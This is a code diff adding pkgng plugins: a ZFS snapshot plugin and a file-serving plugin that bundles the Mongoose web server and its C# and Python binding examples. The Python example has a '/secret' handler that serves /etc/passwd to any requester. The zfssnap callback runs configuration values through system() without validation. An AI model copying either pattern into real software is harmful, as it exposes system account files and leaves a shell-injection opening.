	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_PRE_INSTALL, &plugins_zfssnap_callback) != EPKG_OK) {
+
		fprintf(stderr, ">>> Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	
+
	if (pkg_plugins_hook(PLUGIN_NAME, PKG_PLUGINS_HOOK_PRE_DEINSTALL, &plugins_zfssnap_callback) != EPKG_OK) {
+
		fprintf(stderr, ">>> Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+
	
+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_shutdown_zfssnap(void)
+
{
+
	properties_free(plugins_zfssnap_p);
+
	close(plugins_zfssnap_fd);
+
	
+
	return (EPKG_OK);
+
}
+

+
static int
+
plugins_zfssnap_load_conf(const char *file)
+
{
+
        int i;
+
	bool wrong_conf = false;
+

+
	assert(file != NULL);
+

+
	if ((plugins_zfssnap_fd = open(file, O_RDONLY)) < 0) {
+
                fprintf(stderr, ">>> Cannot open configuration file %s", file);
+
                return (EPKG_FATAL);
+
        }
+

+
	plugins_zfssnap_p = properties_read(plugins_zfssnap_fd);
+
	
+
        for (i = 0; c[i].key != NULL; i++)
+
		c[i].val = property_find(plugins_zfssnap_p, c[i].key);
+

+
	return (EPKG_OK);
+
}
+

+
static const char *
+
plugins_zfssnap_get_conf(const char *key)
+
{
+
	unsigned int i;
+
	
+
	assert (key != NULL);
+

+
        for (i = 0; c[i].key != NULL; i++)
+
		if (strcmp(c[i].key, key) == 0)
+
			return (c[i].val);
+

+
	return (NULL);
+
}
+

+
int
+
plugins_zfssnap_callback(void *data, struct pkgdb *db)
+
{
+
	char cmd_buf[MAXPATHLEN + 1];
+
	struct tm *tm = NULL;
+
	const char *zfs_fs = NULL;
+
	const char *zfs_args = NULL;
+
	const char *zfs_prefix = NULL;
+
	time_t t = 0;
+

+
	t = time(NULL);
+
	tm = localtime(&t);
+
	
+
	/* we don't care about data and db, so nothing to assert() here */
+
	/* assert(db != NULL); */ 
+
	/* assert(data != NULL); */
+

+
	zfs_fs = plugins_zfssnap_get_conf("zfs_fs");
+
	zfs_args = plugins_zfssnap_get_conf("zfs_args");
+
	zfs_prefix = plugins_zfssnap_get_conf("zfs_prefix");
+

+
	if ((zfs_fs == NULL) || (zfs_prefix == NULL)) {
+
		fprintf(stderr, ">>> Configuration options missing, plugin '%s' will not be loaded\n",
+
			       PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+

+
	snprintf(cmd_buf, sizeof(cmd_buf), "%s %s %s@%s-%d-%d-%d_%d.%d.%d",
+
		 "/sbin/zfs snapshot", zfs_args,
+
		 zfs_fs, zfs_prefix,
+
		 1900 + tm->tm_year, tm->tm_mon + 1, tm->tm_mday,
+
		 tm->tm_hour, tm->tm_min, tm->tm_sec);
+

+
	printf(">>> Creating ZFS snapshot\n");
+
	system(cmd_buf);
+
	
+
	return (EPKG_OK);
+
}
+

added plugins/pkg-plugin-zfssnap/zfssnap.conf
@@ -0,0 +1,23 @@
+
# Configuration file for pkg-plugin-template
+

+
enabled=YES
+
name=zfssnap
+
description=ZFS snapshot plugin for pkgng
+
version=1.0
+
plugin=/usr/local/lib/libpkg-plugin-zfssnap.so
+

+
#
+
# zfssnap specific options follow below
+
#
+

+
# ZFS file system
+
zfs_fs=zroot
+

+
# ZFS args, '-r' for recursive snapshots creation
+
zfs_args=-r
+

+
# ZFS snapshot prefix name
+
zfs_prefix=zfssnap
+

+

+

added plugins/pkg-plugin-zfssnap/zfssnap.h
@@ -0,0 +1,37 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#ifndef _PKG_PLUGINS_ZFSSNAP_H
+
#define _PKG_PLUGINS_ZFSSNAP_H
+

+
/* callback functions */
+
int plugins_zfssnap_callback(void *data, struct pkgdb *db);
+

+
/* plugin init and shutdown functions */
+
int pkg_plugins_init_zfssnap(void);
+
int pkg_plugins_shutdown_zfssnap(void);
+

+
#endif /* !_PKG_PLUGINS_ZFSSNAP_H */
added plugins/pkg-plugins-serve/Makefile
@@ -0,0 +1,4 @@
+
SUBDIR=	mongoose \
+
	plugin
+

+
.include <bsd.subdir.mk>
added plugins/pkg-plugins-serve/README.md
@@ -0,0 +1,48 @@
+
## General Information
+

+
The *pkg-plugin-serve* plugin is used for serving files/packages.
+

+
The plugin uses the [Mongoose](https://github.com/valenok/mongoose) library for 
+
serving the files/packages over HTTP.
+

+
## How to build the plugin?
+

+
In order to build the plugin enter into the plugin's directory and run make(1), e.g.:
+

+
	$ cd /path/to/pkg-plugins-serve
+
	$ make
+
	
+
Once the plugin is built you can install it using the following command:
+

+
	$ make install 
+
	
+
The plugin will be installed as a shared library in ${PREFIX}/lib/libpkg-plugin-serve.so and the
+
Mongoose library will be installed in ${PREFIX}/lib/libmongoose.so
+

+
## Configuring the plugin
+

+
In order to configure the plugin simply copy the *serve.conf* file to the pkgng plugins directory,
+
which by default is set to */usr/local/etc/pkg/plugins*, unless you've specified it elsewhere by 
+
using the *PKG\_PLUGINS\_DIR* option.
+

+
	$ cp /path/to/pkg-plugins-serve/plugin/serve.conf /usr/local/etc/pkg/plugins/
+
	
+
## Testing the plugin
+

+
To test the plugin, first check that it is recongnized and
+
loaded by pkgng by executing the `pkg plugins` command:
+

+
	$ pkg plugins
+
	NAME       DESC                                VERSION    LOADED    
+
	stats      Plugin for displaying package stats 1.0        YES       
+
	template   Template plugin for pkgng           1.0        NO        
+
	zfssnap    ZFS snapshot plugin for pkgng       1.0        NO        
+
	mystats    Plugin command for displaying stats 1.0        YES       
+
	serve      A mongoose plugin for serving files 1.0        YES   
+

+
If the plugin shows up correctly then you are good to go!
+

+
Now go ahead and test the plugin, example command is given below:
+

+
	$ pkg serve -d /path/to/pkgng-repository
+

added plugins/pkg-plugins-serve/mongoose/LICENSE
@@ -0,0 +1,19 @@
+
Copyright (c) 2004-2010 Sergey Lyubka
+

+
Permission is hereby granted, free of charge, to any person obtaining a copy
+
of this software and associated documentation files (the "Software"), to deal
+
in the Software without restriction, including without limitation the rights
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
copies of the Software, and to permit persons to whom the Software is
+
furnished to do so, subject to the following conditions:
+

+
The above copyright notice and this permission notice shall be included in
+
all copies or substantial portions of the Software.
+

+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
THE SOFTWARE.
added plugins/pkg-plugins-serve/mongoose/Makefile
@@ -0,0 +1,20 @@
+
.include <bsd.own.mk>
+

+
LIB=		mongoose
+
INCS=		mongoose.h
+
#WARNS=		6
+
PREFIX?=	/usr/local
+
LIBDIR=		${PREFIX}/lib
+
INCLUDEDIR=	${PREFIX}/include
+
SHLIB_MAJOR=	0
+

+
SRCS=		mongoose.c
+

+
CFLAGS+=	-std=c99 -W -Wall -pedantic -O2 -fPIC -shared
+
CFLAGS+=	-I${INCLUDEDIR}
+

+
LDADD+=		-lpthread
+

+
DEBUG_FLAGS+=  -g -O0
+

+
.include <bsd.lib.mk>
added plugins/pkg-plugins-serve/mongoose/Makefile.orig
@@ -0,0 +1,151 @@
+
# This file is part of Mongoose project, http://code.google.com/p/mongoose
+
# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
+

+
PROG=	mongoose
+

+
all:
+
	@echo "make (linux|bsd|solaris|mac|windows|mingw)"
+

+
# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
+
# -DHAVE_MD5              - use system md5 library (-2kb)
+
# -DNDEBUG                - strip off all debug code (-5kb)
+
# -DDEBUG                 - build debug version (very noisy) (+7kb)
+
# -DNO_CGI                - disable CGI support (-5kb)
+
# -DNO_SSL                - disable SSL functionality (-2kb)
+
# -DCONFIG_FILE=\"file\"  - use `file' as the default config file
+
# -DHAVE_STRTOUI64        - use system strtoui64() function for strtoull()
+
# -DSSL_LIB=\"libssl.so.<version>\"   - use system versioned SSL shared object
+
# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
+

+

+
##########################################################################
+
###                 UNIX build: linux, bsd, mac, rtems
+
##########################################################################
+

+
GCC_WARNS   = -W -Wall -pedantic
+
#  -Wno-missing-field-initializers  -Wno-unused-parameter -Wno-format-zero-length -Wno-missing-braces
+
CFLAGS      = -W -Wall -std=c99 -O2 $(GCC_WARNS) $(COPT)
+
MAC_SHARED  = -flat_namespace -bundle -undefined suppress
+
LINFLAGS    = -ldl -pthread $(CFLAGS)
+
LIB         = _$(PROG).so
+
CC          = gcc
+

+
# Make sure that the compiler flags come last in the compilation string.
+
# If not so, this can break some on some Linux distros which use
+
# "-Wl,--as-needed" turned on by default  in cc command.
+
# Also, this is turned in many other distros in static linkage builds.
+
linux:
+
	$(CC) mongoose.c -shared -fPIC -fpic -o $(LIB) $(LINFLAGS)
+
	$(CC) mongoose.c main.c -o $(PROG) $(LINFLAGS)
+

+
bsd:
+
	$(CC) mongoose.c -shared -pthread -fpic -fPIC -o $(LIB) $(CFLAGS)
+
	$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
+

+
mac:
+
	$(CC) mongoose.c -pthread -o $(LIB) $(MAC_SHARED) $(CFLAGS)
+
	$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
+

+
solaris:
+
	$(CC) mongoose.c -pthread -lnsl \
+
		-lsocket -fpic -fPIC -shared -o $(LIB) $(CFLAGS)
+
	$(CC) mongoose.c main.c -pthread -lnsl -lsocket -o $(PROG) $(CFLAGS)
+

+

+
##########################################################################
+
###            WINDOWS build: Using Visual Studio or Mingw
+
##########################################################################
+

+
# Using Visual Studio 6.0. To build Mongoose:
+
#  o  Set VC variable below to where VS 6.0 is installed on your system
+
#  o  Run "PATH_TO_VC6\bin\nmake windows"
+

+
VC    = z:
+
CYA   = y:
+
#DBG  = /Zi /DDEBUG /Od
+
DBG   = /DNDEBUG /O1
+
CL    = cl /MD /TC /nologo $(DBG) /Gz /W3 /DNO_SSL_DL
+
GUILIB= user32.lib shell32.lib
+
LINK  = /link /incremental:no /libpath:$(VC)\lib /subsystem:windows \
+
        ws2_32.lib advapi32.lib cyassl.lib
+
CYAFL = /c /I $(CYA)/include -I $(CYA)/include/openssl \
+
        /I $(CYA)/ctaocrypt/include /D _LIB /D OPENSSL_EXTRA
+

+
CYASRC= \
+
	$(CYA)/src/cyassl_int.c \
+
	$(CYA)/src/cyassl_io.c \
+
	$(CYA)/src/keys.c \
+
	$(CYA)/src/tls.c \
+
	$(CYA)/src/ssl.c \
+
	$(CYA)/ctaocrypt/src/aes.c \
+
	$(CYA)/ctaocrypt/src/arc4.c \
+
	$(CYA)/ctaocrypt/src/asn.c \
+
	$(CYA)/ctaocrypt/src/coding.c \
+
	$(CYA)/ctaocrypt/src/ctc_asm.c \
+
	$(CYA)/ctaocrypt/src/ctc_misc.c \
+
	$(CYA)/ctaocrypt/src/cyassl_memory.c \
+
	$(CYA)/ctaocrypt/src/des3.c \
+
	$(CYA)/ctaocrypt/src/dh.c \
+
	$(CYA)/ctaocrypt/src/dsa.c \
+
	$(CYA)/ctaocrypt/src/ecc.c \
+
	$(CYA)/ctaocrypt/src/hc128.c \
+
	$(CYA)/ctaocrypt/src/hmac.c \
+
	$(CYA)/ctaocrypt/src/integer.c \
+
	$(CYA)/ctaocrypt/src/md4.c \
+
	$(CYA)/ctaocrypt/src/md5.c \
+
	$(CYA)/ctaocrypt/src/pwdbased.c \
+
	$(CYA)/ctaocrypt/src/rabbit.c \
+
	$(CYA)/ctaocrypt/src/random.c \
+
	$(CYA)/ctaocrypt/src/ripemd.c \
+
	$(CYA)/ctaocrypt/src/rsa.c \
+
	$(CYA)/ctaocrypt/src/sha.c \
+
	$(CYA)/ctaocrypt/src/sha256.c \
+
	$(CYA)/ctaocrypt/src/sha512.c \
+
	$(CYA)/ctaocrypt/src/tfm.c
+

+
cyassl:
+
	$(CL) $(CYASRC) $(CYAFL) $(DEF)
+
	lib *.obj /out:cyassl.lib
+

+
windows:
+
	rc win32\res.rc
+
	$(CL) /I win32 main.c mongoose.c /GA $(LINK) win32\res.res \
+
		$(GUILIB) /out:$(PROG).exe
+
	$(CL) mongoose.c /GD $(LINK) /DLL /DEF:win32\dll.def /out:_$(PROG).dll
+

+
# Build for Windows under MinGW
+
#MINGWDBG= -DDEBUG -O0 -ggdb
+
MINGWDBG= -DNDEBUG -Os
+
MINGWOPT=   -std=c99 -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
+
#MINGWOPT=  -std=c99 -mthreads -Wl,--subsystem,windows $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
+
mingw:
+
	windres win32\res.rc win32\res.o
+
	$(CC) $(MINGWOPT) mongoose.c -lws2_32 \
+
		-shared -Wl,--out-implib=$(PROG).lib -o _$(PROG).dll
+
	$(CC) $(MINGWOPT) -Iwin32 mongoose.c main.c win32\res.o -lws2_32 -ladvapi32 \
+
		-o $(PROG).exe
+

+

+
##########################################################################
+
###            Manuals, cleanup, test, release
+
##########################################################################
+

+
man:
+
	groff -man -T ascii mongoose.1 | col -b > mongoose.txt
+
	groff -man -T ascii mongoose.1 | less
+

+
# "TEST=unit make test" - perform unit test only
+
# "TEST=embedded" - test embedded API by building and testing test/embed.c
+
# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
+
tests:
+
	perl test/test.pl $(TEST)
+

+
release: clean
+
	F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar -czf x mongoose/{LICENSE,Makefile,bindings,examples,test,win32,mongoose.c,mongoose.h,mongoose.1,main.c} && mv x mongoose/$$F
+

+
mongoose.c: mongoose.h
+
main.c: mongoose.h
+
.PHONY: mongoose.c main.c
+

+
clean:
+
	rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz $(PROG).exe *.dll *.lib
added plugins/pkg-plugins-serve/mongoose/README.md
@@ -0,0 +1,29 @@
+
Overview
+
--------
+

+
Mongoose is easy to use web server. It also can be used as embedded web server library to provide web interface to applications.  
+

+
Mongoose executable does not depend on any external library or configuration. If it is copied to any directory and launched from there, it starts to serve that directory on port 8080 (so to access files, go to http://localhost:8080). If some additional config is required - for example, different listening port or IP-based access control, then a mongoose.conf file with respective options can be created in the same directory where executable lives. This makes Mongoose perfect for all sorts of demos, quick tests, file sharing, and Web programming.
+

+

+
Features
+
--------
+

+
- Crossplatform - works on Windows, MacOS and most flavors of UNIX
+
- CGI, SSL, SSI, Digest (MD5) authorization, resumed download, aliases
+
- IP-based ACL, Windows service, GET, POST, HEAD, PUT, DELETE methods
+
- Small footprint: executable size is 40 kB on Linux 2.6 i386 system
+
- Embeddable with [simple and clean API](https://github.com/valenok/mongoose/blob/master/mongoose.h). Source is in single .c file to make things easy. Minimalistic embedding example is in [hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c).
+
- Python and C# bindings
+

+

+
Mailing list
+
------------
+

+
You can read it online, subscribe to, or send a message at [mongoose-users](http://groups.google.com/group/mongoose-users).
+

+

+
Keep Sergey happy
+
-----------------
+

+
I have a [books wishlist](http://amzn.com/w/1OC2ZCPTQYIEP?sort=priority) on Amazon. If you feel brave, you can buy me a book!
added plugins/pkg-plugins-serve/mongoose/bindings/csharp/example.cs
@@ -0,0 +1,52 @@
+
// This is C# example on how to use Mongoose embeddable web server,
+
// http://code.google.com/p/mongoose
+
//
+
// Before using the mongoose module, make sure that Mongoose shared library is
+
// built and present in the current (or system library) directory
+

+
using System;
+
using System.Runtime.InteropServices;
+

+
public class Program {
+

+
	// This function is called when user types in his browser http://127.0.0.1:8080/foo
+
	static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
+
		conn.write("HTTP/1.1 200 OK\r\n\r\n");
+
		conn.write("Hello from C#!\n");
+
		conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
+
	}
+

+
    static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
+
    {
+
        conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
+
        conn.write("<html><body><head>Calling Info</head>");
+
        conn.write("<p>Request: " + ri.request_method + "</p>");
+
        conn.write("<p>URI: " + ri.uri + "</p>");
+
        conn.write("<p>Query: " + ri.query_string + "</p>");
+
        if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
+
        conn.write("<p>User:" + ri.remote_user + "</p>");
+
        conn.write("<p>IP: " + ri.remote_ip + "</p>");
+
        conn.write("<p>HTTP: " + ri.http_version + "</p>");
+
        conn.write("<p>Port: " + ri.remote_port + "</p>");
+
        conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
+
        for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
+
        {
+
            conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
+
                + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
+
        }
+
        conn.write("</body></html>");
+
    }
+

+
	static void Main() {
+
		Mongoose web_server = new Mongoose();
+

+
		// Set options and /foo URI handler
+
		web_server.set_option("ports", "8080");
+
		web_server.set_option("root", "c:\\");
+
		web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
+
        web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
+

+
		// Serve requests until user presses "enter" on a keyboard
+
		Console.ReadLine();
+
	}
+
}
added plugins/pkg-plugins-serve/mongoose/bindings/csharp/mongoose.cs
@@ -0,0 +1,134 @@
+
//  Copyright (c) 2004-2009 Sergey Lyubka
+
//
+
//  Permission is hereby granted, free of charge, to any person obtaining a copy
+
//  of this software and associated documentation files (the "Software"), to deal
+
//  in the Software without restriction, including without limitation the rights
+
//  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
//  copies of the Software, and to permit persons to whom the Software is
+
//  furnished to do so, subject to the following conditions:
+
//
+
//  The above copyright notice and this permission notice shall be included in
+
//  all copies or substantial portions of the Software.
+
//
+
//  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
//  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
//  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
//  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
//  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
//  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
//  THE SOFTWARE.
+
//
+
//  $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
+

+
using System;
+
using System.Runtime.InteropServices;
+

+

+
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
+
	public IntPtr	name;		// Using IntPtr here because if we use strings here,
+
	public IntPtr	value;		// it won't be properly marshalled.
+
};
+

+
// This is "struct mg_request_info" from mongoose.h header file
+
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
+
	public string	request_method;
+
	public string	uri;
+
	public string	http_version;
+
	public string	query_string;
+
	public IntPtr	post_data;
+
	public string	remote_user;
+
	public int	remote_ip; //int to match the 32bit declaration in c
+
	public int	remote_port;
+
	public int	post_data_len;
+
	public int	status_code;
+
	public int	num_headers;
+
	[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
+
};
+

+
// This is a delegate for mg_callback_t from mongoose.h header file
+
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+
public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
+

+
// This is a delegate to be used by the application
+
public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
+

+
public class Mongoose {
+
	public string version;
+
	private IntPtr ctx;
+
    	//These two events are here to store a ref to the callbacks while they are over in unmanaged code. 
+
    	private event MongooseCallback2 delegates2;
+
    	private event MongooseCallback delegates1;
+

+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr	mg_start();
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_stop(IntPtr ctx);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_version();
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int	mg_set_option(IntPtr ctx, string name, string value);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_get_option(IntPtr ctx, string name);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
+

+
	public Mongoose() {
+
		ctx = mg_start();
+
		version = mg_version();
+
	}
+

+
	~Mongoose() {
+
		mg_stop(this.ctx);
+
		this.ctx = IntPtr.Zero;
+
	}
+

+
	public int set_option(string option_name, string option_value) {
+
		return mg_set_option(this.ctx, option_name, option_value);
+
	}
+

+
	public string get_option(string option_name) {
+
		return mg_get_option(this.ctx, option_name);
+
	}
+

+
	public void set_uri_callback(string uri_regex, MongooseCallback func) {
+
		// Build a closure around user function. Initialize connection object there which wraps
+
		// mg_write() and other useful methods, and then call user specified handler.
+
		MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
+
			MongooseConnection connection = new MongooseConnection(conn, this);
+
			func(connection, ri);
+
		};
+
        	// store a reference to the callback so it won't be GC'ed while its over in unmanged code
+
        	delegates2 += callback;
+
		mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
+
	}
+
	
+
	public void set_log_callback(MongooseCallback func) {
+
		delegates1 += func;
+
		mg_set_log_callback(this.ctx, func);
+
	}
+
}
+

+
public class MongooseConnection {
+
	public Mongoose	mongoose;
+
	private IntPtr conn;
+

+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_get_header(IntPtr ctx, string name);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_get_var(IntPtr ctx, string name);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_free(IntPtr ptr);
+
	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int	mg_write(IntPtr conn, string data, int length);
+

+
	public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
+
		mongoose = mongoose_;
+
		conn = conn_;
+
	}
+

+
	public string get_header(string header_name) {
+
		return mg_get_header(this.conn, header_name);
+
	}
+

+
	public string get_var(string header_name) {
+
		string s = mg_get_var(this.conn, header_name);
+
		string copy = "" + s;
+
		mg_free(Marshal.StringToHGlobalAnsi(s));
+
		return copy;
+
	}
+

+
	public int write(string data) {
+
		return mg_write(this.conn, data, data.Length);
+
	}
+
}
added plugins/pkg-plugins-serve/mongoose/bindings/python/example.py
@@ -0,0 +1,63 @@
+
# This is Python example on how to use Mongoose embeddable web server,
+
# http://code.google.com/p/mongoose
+
#
+
# Before using the mongoose module, make sure that Mongoose shared library is
+
# built and present in the current (or system library) directory
+

+
import mongoose
+
import sys
+

+
# Handle /show and /form URIs.
+
def EventHandler(event, conn):
+
    info = conn.info
+
    if event == mongoose.HTTP_ERROR:
+
        conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
+
        conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
+
        conn.printf('HTTP error: %d\n', info.status_code)
+
        return True
+
    elif event == mongoose.NEW_REQUEST and info.uri == '/show':
+
        conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
+
        conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
+
        conn.printf('%s %s\n', info.request_method, info.uri)
+
        if info.request_method == 'POST':
+
            content_len = conn.get_header('Content-Length')
+
            post_data = conn.read(int(content_len))
+
            my_var = conn.get_var(post_data, 'my_var')
+
        else:
+
            my_var = conn.get_var(info.query_string, 'my_var')
+
        conn.printf('my_var: %s\n', my_var or '<not set>')
+
        conn.printf('HEADERS: \n')
+
        for header in info.http_headers[:info.num_headers]:
+
            conn.printf('  %s: %s\n', header.name, header.value)
+
        return True
+
    elif event == mongoose.NEW_REQUEST and info.uri == '/form':
+
        conn.write('HTTP/1.0 200 OK\r\n'
+
               'Content-Type: text/html\r\n\r\n'
+
               'Use GET: <a href="/show?my_var=hello">link</a>'
+
               '<form action="/show" method="POST">'
+
               'Use POST: type text and submit: '
+
               '<input type="text" name="my_var"/>'
+
               '<input type="submit"/>'
+
               '</form>')
+
        return True
+
    elif event == mongoose.NEW_REQUEST and info.uri == '/secret':
+
        conn.send_file('/etc/passwd')
+
        return True
+
    else:
+
        return False
+

+

+
# Create mongoose object, and register '/foo' URI handler
+
# List of options may be specified in the contructor
+
server = mongoose.Mongoose(EventHandler,
+
                           document_root='/tmp',
+
                           listening_ports='8080')
+

+
print ('Mongoose started on port %s, press enter to quit'
+
       % server.get_option('listening_ports'))
+

+
sys.stdin.read(1)
+

+
# Deleting server object stops all serving threads
+
print 'Stopping server.'
+
del server
added plugins/pkg-plugins-serve/mongoose/bindings/python/mongoose.py
@@ -0,0 +1,160 @@
+
#  Copyright (c) 2004-2009 Sergey Lyubka
+
#
+
#  Permission is hereby granted, free of charge, to any person obtaining a copy
+
#  of this software and associated documentation files (the "Software"), to deal
+
#  in the Software without restriction, including without limitation the rights
+
#  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
#  copies of the Software, and to permit persons to whom the Software is
+
#  furnished to do so, subject to the following conditions:
+
#
+
#  The above copyright notice and this permission notice shall be included in
+
#  all copies or substantial portions of the Software.
+
#
+
#  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
#  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
#  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
#  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
#  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
#  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
#  THE SOFTWARE.
+
#
+
#  $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
+

+
"""
+
This module provides python binding for the Mongoose web server.
+

+
There are two classes defined:
+

+
  Connection: - wraps all functions that accept struct mg_connection pointer
+
  as first argument.
+

+
  Mongoose: wraps all functions that accept struct mg_context pointer as
+
  first argument.
+

+
  Creating Mongoose object automatically starts server, deleting object
+
  automatically stops it. There is no need to call mg_start() or mg_stop().
+
"""
+

+

+
import ctypes
+
import os
+

+

+
NEW_REQUEST = 0
+
HTTP_ERROR = 1
+
EVENT_LOG = 2
+
INIT_SSL = 3
+

+

+
class mg_header(ctypes.Structure):
+
  """A wrapper for struct mg_header."""
+
  _fields_ = [
+
    ('name', ctypes.c_char_p),
+
    ('value', ctypes.c_char_p),
+
  ]
+

+

+
